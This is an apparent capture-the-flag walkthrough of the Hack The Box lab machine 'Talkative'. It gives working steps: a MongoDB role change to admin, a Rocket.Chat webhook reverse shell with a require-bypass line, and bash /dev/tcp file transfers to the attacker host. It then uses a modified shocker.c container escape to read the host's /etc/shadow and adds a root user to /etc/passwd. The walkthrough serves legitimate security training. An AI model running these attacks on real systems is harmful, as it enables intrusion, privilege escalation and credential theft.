{ "_id" : "D2ze5944wkr99XKoj", "createdAt" : ISODate("2022-08-22T16:50:27.387Z"), "services" : { "password" : { "bcrypt" : "$2b$10$kbN/AhN042QGxORsTAFcv.Wbo/wtukjjz141Ec4DqHpzTwopr60sy", "reset" : { "token" : "0nZNNqxuDJpWLWwIwkwQuZArIjxuUjZ3JyxQP8ziSTk", "email" : "0xdf@talkative.htb", "when" : ISODate("2022-08-22T16:50:32.790Z"), "reason" : "enroll" } }, "email" : { "verificationTokens" : [ { "token" : "kT9lIZrgJT2_a9-WUe955FA1Ty4KUUp1osP-FWEQrWF", "address" : "0xdf@talkative.htb", "when" : ISODate("2022-08-22T16:50:27.473Z") } ] }, "resume" : { "loginTokens" : [ { "when" : ISODate("2022-08-22T20:30:15.872Z"), "hashedToken" : "KuQPV+DNYyaY8cVEPfGNn0hUEzBWpp0WJSNUhblNQMg=" } ] } }, "emails" : [ { "address" : "0xdf@talkative.htb", "verified" : false } ], "type" : "user", "status" : "online", "active" : true, "_updatedAt" : ISODate("2022-08-22T20:30:15.923Z"), "roles" : [ "user" ], "name" : "0xdf", "lastLogin" : ISODate("2022-08-22T20:30:15.868Z"), "statusConnection" : "online", "utcOffset" : 0, "username" : "0xdf" }

There’s Rocket.Cat, which is a default bot user. I’ll clean up the JSON for the other two users:

  "_id" : "ZLMid6a4h5YEosPQi", 
  "createdAt" : ISODate("2021-08-10T19:49:48.673Z"), 
  "services" : { 
    "password" : { 
      "bcrypt" : "$2b$10$jzSWpBq.eJ/yn/Pdq6ilB.UO/kXHB1O2A.b2yooGebUbh69NIUu5y"
    "email" : { 
      "verificationTokens" : [
          "token" : "dgATW2cAcF3adLfJA86ppQXrn1vt6omBarI8VrGMI6w", 
          "address" : "saul@talkative.htb", 
          "when" : ISODate("2021-08-10T19:49:48.738Z") 
    "resume" : { 
      "loginTokens" : [ ] 
  "emails" : [ 
      "address" : "saul@talkative.htb",
      "verified" : false 
  "type" : "user", 
  "status" : "offline", 
  "active" : true, 
  "_updatedAt" : ISODate("2022-08-22T15:31:50.632Z"), 
  "roles" : [ "admin" ], 
  "name" : "Saul Goodman", 
  "lastLogin" : ISODate("2022-03-15T17:06:56.543Z"), 
  "statusConnection" : "offline", 
  "username" : "admin", 
  "utcOffset" : 0 
  "_id" : "D2ze5944wkr99XKoj", 
  "createdAt" : ISODate("2022-08-22T16:50:27.387Z"), 
  "services" : { 
    "password" : { 
      "bcrypt" : "$2b$10$kbN/AhN042QGxORsTAFcv.Wbo/wtukjjz141Ec4DqHpzTwopr60sy",
      "reset" : { 
        "token" : "0nZNNqxuDJpWLWwIwkwQuZArIjxuUjZ3JyxQP8ziSTk", 
        "email" : "0xdf@talkative.htb", 
        "when" : ISODate("2022-08-22T16:50:32.790Z"), 
        "reason" : "enroll" 
    "email" : { 
      "verificationTokens" : [
          "token" : "kT9lIZrgJT2_a9-WUe955FA1Ty4KUUp1osP-FWEQrWF",
          "address" : "0xdf@talkative.htb",
          "when" : ISODate("2022-08-22T16:50:27.473Z")
    "resume" : { 
      "loginTokens" : [
          "when" : ISODate("2022-08-22T20:30:15.872Z"), 
          "hashedToken" : "KuQPV+DNYyaY8cVEPfGNn0hUEzBWpp0WJSNUhblNQMg=" 
  "emails" : [
      "address" : "0xdf@talkative.htb", 
      "verified" : false 
  "type" : "user",
  "status" : "online",
  "active" : true, 
  "_updatedAt" : ISODate("2022-08-22T20:30:15.923Z"), 
  "roles" : [ "user" ], 
  "name" : "0xdf", 
  "lastLogin" : ISODate("2022-08-22T20:30:15.868Z"), 
  "statusConnection" : "online", 
  "utcOffset" : 0, 
  "username" : "0xdf"

There’s a good bit of JSON there, but the big difference between our accounts is the roles field, where I have “user”, and saul has “admin”.

Add Admin

I’ll use Mongo to give my account the admin role:

rs0:PRIMARY> db.users.update({"_id": "D2ze5944wkr99XKoj"}, { $set: { "roles" : ["admin"]}})
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })

db.users.update is calling the update method on the users collection. This takes two parameters. The first identifies which objects are to be updated. In this case, I’ll use the _id for my user to make sure it just changes me. The second is what and how to modify. The $set operator replaces the value of a field with the given value. Then I pass it the roles field, and set it to ["admin"] to match saul.

Now on refreshing /admin, there’s a lot more there than before:

WebHook Integration


There’s a ton of information / options in this admin panel. One that jumps out pretty quickly is “Integrations” > “New Integration”:


An Incoming WebHook will listening for HTTP requests and post some messages based on the content of the request. An Outgoing WebHook will process chat messages in Rocket Chat and send HTTP data when certain criteria are met.

According to the docs, both use ES2015 / ECMAScript 6 (basically JavaScript) to process the data, look for triggers, and generate the next step.

Rev Shell

I’ll need a JavaScript reverse shell to run. has one that works ok, “node.js#2”:


The challenge that this shell runs into is that require may not be available in the given context. There’s a line I can add at the top that brings it in:

const require = console.log.constructor('return process.mainModule.require')();

Generate WebHook

The form to create a WebHook is long. I’ll start with naming it and pointing it at the #general channel:


Skipping over a bunch of optional fields, I’ll reach the “Script” field:


I’ll save the WebHook, and it shows up on the Integrations page:


Going back into it, now below the script is the “WebHook URL”


This is how I trigger the webhook.

If there are errors in my JavaScript syntax, it will tell you on revisiting this page as well.


With nc listening, I’ll use curl to trigger the WebHook:

oxdf@hacky$ curl http://talkative.htb:3000/hooks/DipzE7grNCHMg2ty4/9YNLS4NfMsRihzAP5yLoqqz98amQvACcuot3sAyfSumt2GqW

It reports failure, but there’s a connection at nc:

oxdf@hacky$ nc -lnvp 445
Listening on 445
Connection received on 42576

It’s a shell:

uid=0(root) gid=0(root) groups=0(root)

Upgrade with the script trick:

script /dev/null -c bash
Script started, file is /dev/null
root@c150397ccd63:/app/bundle/programs/server# ^Z
[1]+  Stopped                 nc -lnvp 445
oxdf@hacky$ stty raw -echo ; fg
nc -lnvp 445
reset: unknown terminal type unknown
Terminal type? screen

Shell as root on Talkative

File Upload

Initial Enumeration

Again, I have a shell in a Docker container that is relatively empty. /root has nothing of interest, and there are no folders in /home.

This container also has very limited tools. No nc, wget, curl, which removes many of the standard ways I would upload files to a box.

The box does have node, perl, and bash, each of which would provide ways to upload. I’ll show bash since that’s what I like best, and it’s most common to find in this scenario.

bash Upload

This gist gives a clean and simple way to write to and from a socket using just bash.

To show this, I’ll start nc listening on 9001 on my host. From Talkative, I’ll run exec 3<>/dev/tcp/, which returns without any message. At nc, it’s connected:

oxdf@hacky$ nc -lnvp 9001
Listening on 9001
Connection received on 60860

At this point, I’ve created a file descriptor (3), and have both in and out for it redirecting to /dev/tcp/ So reading and writing to 3 will read and write to this special file, which will represents a TCP socket between Talkative and my host. For this to work, the socket has to open, so it has, and that’s the “Connection received” message.

I can write to the descriptor / socket with something like echo "test!" >&3, and it comes out on my host:

Connection received on 60860

If I run cat <&3, then it will hang, waiting for input from the socket. Because nc was run without any input, I can go into that window and type a message:

Connection received on 60860
Hello from hacky!

And it’s sent back to Talkative:

root@c150397ccd63:/dev/shm# cat <&3
Hello from hacky!

To get a file up, I’ll kill the nc window and re-run it like this:

oxdf@hacky$ md5sum 
oxdf@hacky$ cat | nc -lnvp 9001
Listening on 9001

Now I’ll do the same thing, but this time save it to a file:

root@c150397ccd63:/dev/shm# exec 3<>/dev/tcp/
root@c150397ccd63:/dev/shm# cat <&3 >             
root@c150397ccd63:/dev/shm# md5sum 

There’s no end to the socket, so I’ll have to Ctrl-c it after a few seconds. The hashes match, so I’m good there.


Initial Run

I’ll upload deepce is a neat tool for looking for basic Docker vulnerabilities. It hasn’t been significantly updated in a couple years, but it still does a good job of identifying many classes of vulnerability. It’s a pure sh script with very few dependencies, so it is likely to run on the most stripped down containers.

I’ll upload it to the container using the method shown above, and give it a run:

root@c150397ccd63:/dev/shm# bash 

                      ##         .
                ## ## ##        ==
             ## ## ## ##       ===
         /"""""""""""""""""\___/ ===
    ~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ /  ===- ~~~
         \______ X           __/
           \    \         __/
     ____/ /__  ___  ____  ________
    / __  / _ \/ _ \/ __ \/ ___/ _ \   ENUMERATE
   / /_/ /  __/  __/ /_/ / (__/  __/  ESCALATE
   \__,_/\___/\___/ .___/\___/\___/  ESCAPE

 Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
 by stealthcopter

==========================================( Colors )==========================================
[+] Exploit Test ............ Exploitable - Check this out
[+] Basic Test .............. Positive Result
[+] Another Test ............ Error running check
[+] Negative Test ........... No
[+] Multi line test ......... Yes
Command output
spanning multiple lines

Tips will look like this and often contains links with additional info. You can usually 
ctrl+click links in modern terminal to open in a browser window

===================================( Enumerating Platform )===================================
[+] Inside Container ........ Yes
[+] Container Platform ...... docker
[+] Container tools ......... None
[+] User .................... root
[+] Groups .................. root
[+] Docker Executable ....... Not Found
[+] Docker Sock ............. Not Found
ls: cannot access '/app/docker.sock': No such file or directory
[+] Sock is writable ........ No
[+] Docker Version .......... Version Unknown
==================================( Enumerating Container )===================================
[+] Container ID ............ c150397ccd63
[+] Container Full ID ....... c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726
[+] Container Name .......... Could not get container name through reverse DNS
[+] Container IP ............ 
[+] DNS Server(s) ........... 
[+] Host IP .................
[+] Operating System ........ GNU/Linux
[+] Kernel .................. 5.4.0-81-generic
[+] Arch .................... x86_64
[+] CPU ..................... AMD EPYC 7302P 16-Core Processor
[+] Useful tools installed .. Yes
[+] Dangerous Capabilities .. Unknown (capsh not installed)
[+] SSHD Service ............ Unknown (ps not installed)
[+] Privileged Mode ......... No
====================================( Enumerating Mounts )====================================
[+] Docker sock mounted ....... No
[+] Other mounts .............. No
====================================( Interesting Files )=====================================
[+] Interesting environment variables ... No
[+] Any common entrypoint files ......... No
[+] Interesting files in root ........... No
[+] Passwords in common files ........... No
[+] Home directories .................... No
[+] Hashes in shadow file ............... No permissions
[+] Searching for app dirs .............. 
==================================( Enumerating Containers )==================================
By default containers can communicate with other containers on the same network and the 
host machine, this can be used to enumerate further

TODO Enumerate container using sock

The colors don’t come through here, but there are two bits that fail due to missing binaries:


Install Dependencies

The OS for this container is Debian 10 (buster):

root@c150397ccd63:/dev/shm# cat /etc/os-release 
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION="10 (buster)"

Some Googling gets me to the Debian man page for capsh. At the top right, it has the version for buster (1:2.25-2) and a link (“package tracker”) to find the packages:


On the tracker page, I’ll see the link to the version I’m looking for under “oldstable”:


That leads to the page for libcap2. The link to libcap2-bin is what has the command line executables, so I’ll click that next. On that page, it shows that libcap2 is a dependency:


I’ll download the amd64 .deb files for both libcap2 and libcap2-bin:

oxdf@hacky$ wget
--2022-08-23 17:18:40--
Resolving ( 2600:3404:200:237::2, 2600:3402:200:227::2, 2620:0:861:2:208:80:154:139, ...
Connecting to (|2600:3404:200:237::2|:80... failed: Network is unreachable.
Connecting to (|2600:3402:200:227::2|:80... failed: Network is unreachable.
Connecting to (|2620:0:861:2:208:80:154:139|:80... failed: Network is unreachable.
Connecting to (||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17572 (17K)
Saving to: ‘libcap2_2.25-2_amd64.deb’

libcap2_2.25-2_amd64.deb                             100%[=====================================================================================================================>]  17.16K  --.-KB/s    in 0.02s   

2022-08-23 17:18:40 (1.09 MB/s) - ‘libcap2_2.25-2_amd64.deb’ saved [17572/17572]

oxdf@hacky$ wget
--2022-08-23 17:18:54--
Resolving ( 2600:3402:200:227::2, 2620:0:861:2:208:80:154:139, 2600:3404:200:237::2, ...
Connecting to (|2600:3402:200:227::2|:80... failed: Network is unreachable.
Connecting to (|2620:0:861:2:208:80:154:139|:80... failed: Network is unreachable.
Connecting to (|2600:3404:200:237::2|:80... failed: Network is unreachable.
Connecting to (||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28820 (28K)
Saving to: ‘libcap2-bin_2.25-2_amd64.deb’

libcap2-bin_2.25-2_amd64.deb                         100%[=====================================================================================================================>]  28.14K  --.-KB/s    in 0.02s   

2022-08-23 17:18:55 (1.66 MB/s) - ‘libcap2-bin_2.25-2_amd64.deb’ saved [28820/28820]

I’ll upload both files just like above, making sure to verify the hashes match on both sides.

Now as root I can just install with dpkg:

root@c150397ccd63:/dev/shm# dpkg -i libcap2_2.25-2_amd64.deb 
Selecting previously unselected package libcap2:amd64.
(Reading database ... 6684 files and directories currently installed.)
Preparing to unpack libcap2_2.25-2_amd64.deb ...
Unpacking libcap2:amd64 (1:2.25-2) ...
Setting up libcap2:amd64 (1:2.25-2) ...
Processing triggers for libc-bin (2.28-10) ...
root@c150397ccd63:/etc# dpkg -i libcap2-bin_2.25-2_amd64.deb 
Selecting previously unselected package libcap2-bin.
(Reading database ... 6690 files and directories currently installed.)
Preparing to unpack libcap2-bin_2.25-2_amd64.deb ...
Unpacking libcap2-bin (1:2.25-2) ...
Setting up libcap2-bin (1:2.25-2) ... Again

This time, when I run it, there’s information under “Dangerous Capabilities”:

image-20220823132402657Click for full size image

cap_dac_read_search is highlighted in red.



This blog post from 2014 shows how to abuse this capability using a program posted to OpenWall named shocker.c. This program abuses the cap_dac_read_search capability to read files from the host system.


I’ll download a copy of the original script here. I’ll need to make one change. The binary needs to open a file that’s on the host and mounted into the container. mount will show the mounts:

root@c150397ccd63:~# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/SJ7L7M7IXKP2LYEKIS4QTXWMB2:/var/lib/docker/overlay2/l/V56NO5353KGHEUPU2G64UYICZS:/var/lib/docker/overlay2/l/57PYNL7JWAUZ2ZEF5CM7JKTH2Y:/
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/mapper/ubuntu--vg-ubuntu--lv on /app/uploads type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/resolv.conf type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hostname type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hosts type ext4 (rw,relatime)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)

I’ll use /etc/hosts, updating line 166:

        // get a FS reference from something mounted in from outside
        if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0)
                die("[-] open");

Now I’ll compile that with gcc and upload it to Talkative. If I didn’t update the file to one that exists (the default it /.dockerinit which isn’t in this container), it’ll error out:

root@c150397ccd63:~# ./so
[***] docker VMM-container breakout Po(C) 2014             [***]                  
[***] The tea from the 90's kicks your sekurity again.     [***]                    
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]                      

[-] open: No such file or directory 

But the updated version dumps /etc/shadow from the host:

root@c150397ccd63:~# ./so
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]


[*] Resolving 'etc/shadow'
[*] Found lib32
[*] Found ..
[*] Found lost+found
[*] Found sbin
[*] Found bin
[*] Found boot
[*] Found dev
[*] Found run
[*] Found lib64
[*] Found .
[*] Found var
[*] Found home
[*] Found media
[*] Found proc
[*] Found etc
[+] Match: etc ino=393217
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'shadow'
[*] Found modules-load.d
[*] Found lsb-release
[*] Found rsyslog.conf
[*] Found rc6.d
[*] Found calendar
[*] Found fstab
[*] Found shadow
[+] Match: shadow ino=393228
[*] Brute forcing remaining 32bit. This can take a while...
[*] (shadow) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x0c, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x0c, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:

Read root.txt

I’ll go back into the source, and on line 169, update the file it reads from /etc/shadow to /root/root.txt:

        if (find_handle(fd1, "/root/root.txt", &root_h, &h) <= 0)
                die("[-] Cannot find valid handle!");

On recompiling and re-uploading, it returns the flag:

root@c150397ccd63:~# ./so                           
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]


[*] Resolving 'root/root.txt'
[!] Win! /etc/shadow output follows:

Shocker File Write


There’s some ability to write files using Shocker, though I can’t fully explain what’s required. HackTricks has a version that will write files on the host as well! It says that cap_dac_override is required for this to work, but it clearly does work on Talkative and that capability isn’t present.

I’ll upload the compiled writing version and run it, giving two files:

root@c150397ccd63:~# echo a  > a
root@c150397ccd63:~# ./sw /etc/hostname a

I can verify that the /etc/hostname file on the host is overwritten from my shell as saul:

saul@talkative:/dev/shm$ cat /etc/hostname 

Only the first two bytes of the original file are overwritten, which is the size of the file I used.


I’ll use the file write to add another root user to the /etc/passwd file. I’ll generate a hash for the password “0xdf”:

oxdf@hacky$ openssl passwd -1 0xdf

Now I’ll create a passwd line from that, with the user name oxdf, the password hash from above, the user and group ids of 0:


I’ll recreate the passwd file from the host (read by saul) in the container, with the extra line on the end:

root@c150397ccd63:~# echo 'root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                 
> bin:x:2:2:bin:/bin:/usr/sbin/nologin            
> sys:x:3:3:sys:/dev:/usr/sbin/nologin       
> sync:x:4:65534:sync:/bin:/bin/sync                             
> games:x:5:60:games:/usr/games:/usr/sbin/nologin
> man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
> lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
> mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
> news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
> uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
> proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
> www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
> backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
> list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
> irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
> gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
> systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
> systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
> systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
> messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
> syslog:x:104:110::/home/syslog:/usr/sbin/nologin
> _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
> tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
> uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
> tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
> landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
> pollinate:x:110:1::/var/cache/pollinate:/bin/false
> usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
> sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
> systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
> lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
> saul:x:1000:1000:Saul,,,:/home/saul:/bin/bash' > passwd
root@c150397ccd63:~# echo 'oxdf:$1$FWS43Ezm$fKjubC8uKDJ9W9dmD78QP0:0:0:pwned:/root:/bin/bash' >> passwd  

I’ll run the exploit:

root@c150397ccd63:~# ./sw /etc/passwd passwd
[*] Brute forcing remaining 32bit. This can take a while...
[*] (passwd) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0xb7, 0x06, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0xb7, 0x06, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};

It reports success. If it did, I can SSH as oxdf and get a shell as root. It works:

saul@talkative:/dev/shm$ ssh oxdf@
oxdf@'s password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-81-generic x86_64)